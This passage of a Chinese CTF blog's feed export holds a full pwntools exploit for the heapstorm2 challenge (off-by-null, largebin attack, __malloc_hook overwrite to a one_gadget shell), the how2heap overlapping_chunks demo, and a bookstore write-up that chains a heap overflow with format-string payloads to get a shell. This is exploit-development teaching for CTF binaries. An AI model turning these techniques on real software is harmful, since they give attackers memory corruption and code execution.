<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./heapstorm2'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line"> log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'----->'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)</span></span><br><span class="line"><span class="string">largebin chunksize:0x410|0x450|0x490|0x4C0...</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span><span class="params">(size)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line"> p.sendline(str(size))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">update</span><span class="params">(idx,size,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line"> p.sendline(str(idx))</span><br><span class="line"> p.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line"> p.sendline(str(size))</span><br><span class="line"> p.recvuntil(<span class="string">'Content: '</span>)</span><br><span class="line"> p.sendline(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(idx)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line"> p.sendline(str(idx))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">view</span><span class="params">(idx)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line"> p.sendline(str(idx))</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x18</span>)<span class="comment">#0 for off_by_null</span></span><br><span class="line">alloc(<span class="number">0xC30</span>)<span class="comment">#1 for split</span></span><br><span class="line">alloc(<span class="number">0x18</span>)<span class="comment">#2 for merge</span></span><br><span class="line">alloc(<span class="number">0x18</span>)<span class="comment">#3 guard</span></span><br><span class="line"></span><br><span class="line">payload=<span class="string">'\x33'</span>*<span class="number">0xBF0</span>+p64(<span class="number">0xC00</span>)<span class="comment">#set fake prev_size</span></span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line">delete(<span class="number">1</span>)<span class="comment">#(0,,2,3)</span></span><br><span class="line">update(<span class="number">0</span>,<span class="number">0x18</span><span class="number">-0xc</span>,<span class="string">'a'</span>*(<span class="number">0x18</span><span class="number">-0xc</span>))<span class="comment">#off_bu_null 0xC40->0xC00</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#split 1 now</span></span><br><span class="line">alloc(<span class="number">0xf0</span>)<span class="comment">#1 0x100 chunk</span></span><br><span class="line">alloc(<span class="number">0x400</span>)<span class="comment">#4 0x410 chunk large</span></span><br><span class="line">alloc(<span class="number">0x1f0</span>)<span class="comment">#5 0x200 chunk</span></span><br><span class="line">alloc(<span class="number">0x410</span>)<span class="comment">#6 0x420 chunk large</span></span><br><span class="line"><span class="comment">#1 remain:0x131</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">1</span>)<span class="comment">#(0,,2,3,4,5,6) for unlink</span></span><br><span class="line">delete(<span class="number">2</span>)<span class="comment">#(0,,,3,4,5,6) merge&overlap</span></span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0xC50</span>)<span class="comment">#1 now chunk 1 overlap (4,5,6,remain) & remain to smallbin</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#recover 0x410chunk's size & other chunk's size because of calloc--↓</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x400</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x1f0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x421</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x410</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x131</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#------------------------------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#alloc(0x410)#2 !!!!!!!need a overlap chunk for victim do not alloc one like me before</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">4</span>)<span class="comment">#(0,1,,3,,5,6) overlapped chunk 4 to ub</span></span><br><span class="line">alloc(<span class="number">0x430</span>)<span class="comment">#2 set chunk 4 to largebin</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#overwrite chunk 4 ------------------------↓</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707c3</span><span class="number">-0x10</span>)<span class="comment">#mmap region above the random area</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707d8</span><span class="number">-0x20</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)<span class="comment">#set for largebin attack</span></span><br><span class="line"><span class="comment">#------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">6</span>)<span class="comment">#(0,1,2,3,,5) 0x420chunk to ub</span></span><br><span class="line">alloc(<span class="number">0x440</span>)<span class="comment">#4 0x420 chunk to largebin(largebin attack)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#reset 0x200&0x130 chunk's prev_inuse---------↓</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707c3</span><span class="number">-0x10</span>)<span class="comment">#No other meanings,just ctrl+c ctrl+v</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707d8</span><span class="number">-0x20</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x3e0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x1f0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x421</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x410</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x131</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#---------------------------------------------↑</span></span><br><span class="line"><span class="comment">#gdb.attach(p,'brva 0x113c')</span></span><br><span class="line">delete(<span class="number">5</span>)<span class="comment">#(0,1,2,3,4)#set 0x200 chunk to ub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#reset 0x200 chunk's bk-----------------------↓</span></span><br><span class="line">fake_chunk=<span class="number">0x133707c0</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707c3</span><span class="number">-0x10</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x133707d8</span><span class="number">-0x20</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x3e0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(fake_chunk)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#---------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x1f0</span>)<span class="comment">#5 after this we can alloc the first 0x5? chunk</span></span><br><span class="line"> <span class="comment">#an we need to pass the the chunk_is_mmapped check in _libc_malloc randomly XD</span></span><br><span class="line">loginfo()</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x40</span>)<span class="comment">#6 get first mmap region chunk out</span></span><br><span class="line">update(<span class="number">6</span>,<span class="number">0x18</span>,p64(<span class="number">0x100</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x133707b0</span>))</span><br><span class="line"><span class="comment">#set another fake size&bk,and bk is used for writing libc address:(bck->fd = unsorted_chunks (av))</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#reset 0x420 chunk's bk again----------------↓</span></span><br><span class="line"><span class="comment">#because we write the 0x420chunk's address(vicitm) on the bk of 0x5? chunk</span></span><br><span class="line"><span class="comment">#after we malloc out the 0x5? chunk,the 0x420 chunk back to unsortedbin again</span></span><br><span class="line"><span class="comment">#we can control the chunk's bk for malloc out the random_area next time</span></span><br><span class="line">fake_chunk=<span class="number">0x133707c8</span></span><br><span class="line">payload=<span class="string">'a'</span>*<span class="number">0xf0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x411</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x400</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x201</span>)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x1f0</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x421</span>)</span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(fake_chunk)</span><br><span class="line">payload+=<span class="string">'a'</span>*<span class="number">0x400</span></span><br><span class="line">payload+=p64(<span class="number">0</span>)+p64(<span class="number">0x131</span>)</span><br><span class="line">update(<span class="number">1</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#--------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#We can allocate a 0x100 chunk at the random_area! Play our leak&write game now!!!!!!!!!!!!!!!!!!</span></span><br><span class="line">alloc(<span class="number">0x410</span>)<span class="comment">#7</span></span><br><span class="line">alloc(<span class="number">0xf0</span>)<span class="comment">#8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#Write the libaddress location&view key at index 0----↓</span></span><br><span class="line">payload=p64(<span class="number">0</span>)*<span class="number">5</span>+p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload+=p64(<span class="number">0x0</span>)+p64(<span class="number">0x13377331</span>)</span><br><span class="line">payload+=p64(<span class="number">0x133707c0</span>)+p64(<span class="number">8</span>)</span><br><span class="line">update(<span class="number">8</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#-----------------------------------------------------↑</span></span><br><span class="line">view(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">'Chunk[0]: '</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">8</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">loginfo(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#__malloc_hook to index 0---------------------↓</span></span><br><span class="line">payload=p64(<span class="number">0</span>)*<span class="number">5</span>+p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload+=p64(<span class="number">0x0</span>)+p64(<span class="number">0x13377331</span>)</span><br><span class="line">payload+=p64(<span class="number">0x3c4b10</span>+libc_base)+p64(<span class="number">8</span>+<span class="number">0xc</span>)</span><br><span class="line">update(<span class="number">8</span>,len(payload),payload)</span><br><span class="line"><span class="comment">#---------------------------------------------↑</span></span><br><span class="line"></span><br><span class="line">update(<span class="number">0</span>,<span class="number">8</span>,p64(<span class="number">0x4526a</span>+libc_base))</span><br><span class="line">alloc(<span class="number">0x666</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - overlapping_chunks&bookstore,night-deamonic-heap</title>
<url>/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/</url>
<content><![CDATA[<h1 id="how2heap-overlapping-chunks-amp-bookstore-night-deamonic-heap"><a href="#how2heap-overlapping-chunks-amp-bookstore-night-deamonic-heap" class="headerlink" title="how2heap - overlapping_chunks&bookstore,night-deamonic-heap"></a>how2heap - overlapping_chunks&bookstore,night-deamonic-heap</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="overlapping-chunks-c"><a href="#overlapping-chunks-c" class="headerlink" title="overlapping_chunks.c"></a>overlapping_chunks.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> A simple tale of overlapping chunk.</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc , <span class="keyword">char</span>* argv[])</span></span>{</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">intptr_t</span> *p1,*p2,*p3,*p4;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis is a simple chunks overlapping problem\n\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's start to allocate 3 chunks on the heap\n"</span>);</span><br><span class="line"></span><br><span class="line"> p1 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"> p2 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"> p3 = <span class="built_in">malloc</span>(<span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n"</span>, p1, p2, p3);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(p1, <span class="string">'1'</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"> <span class="built_in">memset</span>(p2, <span class="string">'2'</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"> <span class="built_in">memset</span>(p3, <span class="string">'3'</span>, <span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow let's free the chunk p2\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(p2);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"For a toy program, the value of the last 3 bits is unimportant;"</span></span><br><span class="line"> <span class="string">" however, it is best to maintain the stability of the heap.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"</span></span><br><span class="line"> <span class="string">" to assure that p1 is not mistaken for a free chunk.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> evil_chunk_size = <span class="number">0x181</span>;</span><br><span class="line"> <span class="keyword">int</span> evil_region_size = <span class="number">0x180</span> - <span class="number">8</span>;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n"</span>,</span><br><span class="line"> evil_chunk_size, evil_region_size);</span><br><span class="line"></span><br><span class="line"> *(p2<span class="number">-1</span>) = evil_chunk_size; <span class="comment">// we are overwriting the "size" field of chunk p2</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow let's allocate another chunk with a size equal to the data\n"</span></span><br><span class="line"> <span class="string">"size of the chunk p2 injected size\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This malloc will be served from the previously freed chunk that\n"</span></span><br><span class="line"> <span class="string">"is parked in the unsorted bin which size has been modified by us\n"</span>);</span><br><span class="line"> p4 = <span class="built_in">malloc</span>(evil_region_size);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\np4 has been allocated at %p and ends at %p\n"</span>, (<span class="keyword">char</span> *)p4, (<span class="keyword">char</span> *)p4+evil_region_size);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 starts at %p and ends at %p\n"</span>, (<span class="keyword">char</span> *)p3, (<span class="keyword">char</span> *)p3+<span class="number">0x80</span><span class="number">-8</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 should overlap with p3, in this case p4 includes all p3.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"</span></span><br><span class="line"> <span class="string">" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's run through an example. Right now, we have:\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = %s\n"</span>, (<span class="keyword">char</span> *)p4);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 = %s\n"</span>, (<span class="keyword">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nIf we memset(p4, '4', %d), we have:\n"</span>, evil_region_size);</span><br><span class="line"> <span class="built_in">memset</span>(p4, <span class="string">'4'</span>, evil_region_size);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = %s\n"</span>, (<span class="keyword">char</span> *)p4);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 = %s\n"</span>, (<span class="keyword">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nAnd if we then memset(p3, '3', 80), we have:\n"</span>);</span><br><span class="line"> <span class="built_in">memset</span>(p3, <span class="string">'3'</span>, <span class="number">80</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = %s\n"</span>, (<span class="keyword">char</span> *)p4);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p3 = %s\n"</span>, (<span class="keyword">char</span> *)p3);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>一个比较简单的oevrflow的示例</p>
<p>首先申请了3个chunk</p>
<p>0x100(p1)<br>0x100(p2)<br>0x80(p3)</p>
<p>当我们把0x100的chunk放入unsortedbin之后,模拟p1 overflow修改p2的size为0x180,再通过malloc(0x180-8)即可直接卸下unsortedbin中这个fake 0x180的chunk,达到overlap p3的目的</p>
<p>由于比较简单这里就没放debug的过程,直接开始撸题吧2333</p>
<h1 id="bookstore"><a href="#bookstore" class="headerlink" title="bookstore"></a>bookstore</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>程序比较简单</p>
<img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581674823828.png" width="70%" height="70%">
<p>上来先malloc了三个0x90的small chunk</p>
<p>堆上的内容此时是这样的</p>
<table>
<thead>
<tr>
<th>order1</th>
<th>order2</th>
<th>malloc_dest</th>
</tr>
</thead>
<tbody><tr>
<td>0x90</td>
<td>0x90</td>
<td>0x90</td>
</tr>
</tbody></table>
<h3 id="menu"><a href="#menu" class="headerlink" title="menu"></a>menu</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581674900909.png" width="70%" height="70%">
<p>下面就是一个循环+switch的结构,循环由v4控制,v4为1后结束循环</p>
<p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581675282813.png" alt="1581675282813"></p>
<p>结束循环之后存在格式化字符串漏洞,fmt为malloc_dest</p>
<h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581675013218.png" alt="1581675013218"></p>
<p>无长度检查,存在overflow,在输入的末尾<code>\n</code>处会改成<code>\x00</code></p>
<h3 id="free"><a href="#free" class="headerlink" title="free"></a>free</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581675079810.png" alt="1581675079810"></p>
<p>free就是单纯的free,没有清零指针</p>
<h3 id="submit"><a href="#submit" class="headerlink" title="submit"></a>submit</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581760790065.png" width="85%" height="85%">
<p>就是用order1和order2的内容来填充submit_chunk</p>
<h2 id="Exploite"><a href="#Exploite" class="headerlink" title="Exploite"></a>Exploite</h2><p>程序的chunk的是一开始就malloc好的,无法自己malloc,但是能自己free,当选择5之后可以malloc一个0x150大小的chunk,所以第一思路肯定是free chunk2后通过chunk1更改chunk2的size,然后申请submit_chunk时会返回chunk2的地址,由于submit_chunk比较大,会和malloc_dest形成overlapping,通过修改submit_chunk的内容,溢出到malloc_dest触发格式化字符串漏洞(这里选择时的s可以输入一个比较大的buffer,可以在buffer中填上指针来修改内容)。</p>
<p>因为overlap之后的拷贝操作是先把chunk1的内容拷贝到chunk2,然后再把chunk2的内容加到chunk2后面,所以要计算偏移,具体计算如上图注释,想要malloc_dest刚好放置我们的格式化串我们只需要满足chunk1中有0x74个Byte的内容即可</p>
<p>可是我找了一会之后发现,因为只能用一次格式化字符串,而且在之前也无法泄露,栈指针和libc都利用不了,只能用程序里面的,要么是GOT表,要么是其他可写的段,当然在这里我很自然的联想到了<code>.fini</code>段,这个段是程序结束之后要调用的函数指针,我可以修改它为main函数地址(不过只能利用一次),然后在修改<code>.fini</code>段的时候顺带把栈地址、libc地址一并泄露(只要到程序栈上找到就行)</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%'</span>+str(<span class="number">0xA39</span>)+<span class="string">'c%13$hn|%19$p|%31$p'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line"><span class="comment">#下面的0x6011B8会放在%13$n处,%19$p是一个栈地址,%31$p是libc_start_main的返回地址,A39是main函数地址地位</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)<span class="comment">#溢出修改size</span></span><br><span class="line"></span><br><span class="line">submit(<span class="number">0x6011B8</span>)<span class="comment">#选择时顺带填上地址,然后此时malloc的chunk就会overlap了</span></span><br></pre></td></tr></table></figure>
<p>然后计算对应地址</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">ret_stack=int(p.recv(<span class="number">14</span>),<span class="number">16</span>)<span class="number">-0x18</span><span class="comment">#stack address of ret</span></span><br><span class="line">libc_base=int(p.recv(<span class="number">15</span>).strip(<span class="string">'|'</span>),<span class="number">16</span>)<span class="number">-0x20830</span></span><br><span class="line">one=<span class="number">0x45216</span>+libc_base<span class="comment">#one_gadget</span></span><br></pre></td></tr></table></figure>
<p>之后第二次利用与第一次相同,但是有一点,one_gaget的地址可能与第二次执行的返回地址有3个Byte不一样,那怎么办。所以第二次我们可以修改两次(为什么不是三次是因为三个字节的大小顺序可能会不一样,在使用<code>%hhn</code>写入的时候前面的输出会对后面产生影响,但是如果一次改两个字节<code>%hn</code>和一次改一个字节<code>%hn</code>就可以控制顺序了)</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">change1=one&<span class="number">0xffff</span></span><br><span class="line">change2=one&<span class="number">0xff0000</span></span><br><span class="line">change2=change2>><span class="number">16</span></span><br></pre></td></tr></table></figure>
<p>printf时我们写入的地址在栈上的偏移需要自己计算一下,地址也需要计算一下,因为此时的栈已经变了,不过偏移是固定的</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%0'</span>+str(change2)+<span class="string">'d%14$hhn|%0'</span>+str(change1-change2<span class="number">-1</span>)+<span class="string">'d%13$hn|'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)</span><br><span class="line"></span><br><span class="line">submit(ret_stack<span class="number">-0x110</span>,ret_stack<span class="number">-0x110</span>+<span class="number">2</span>)<span class="comment">#submit时填上两个地址</span></span><br></pre></td></tr></table></figure>
<p>最终getshell</p>
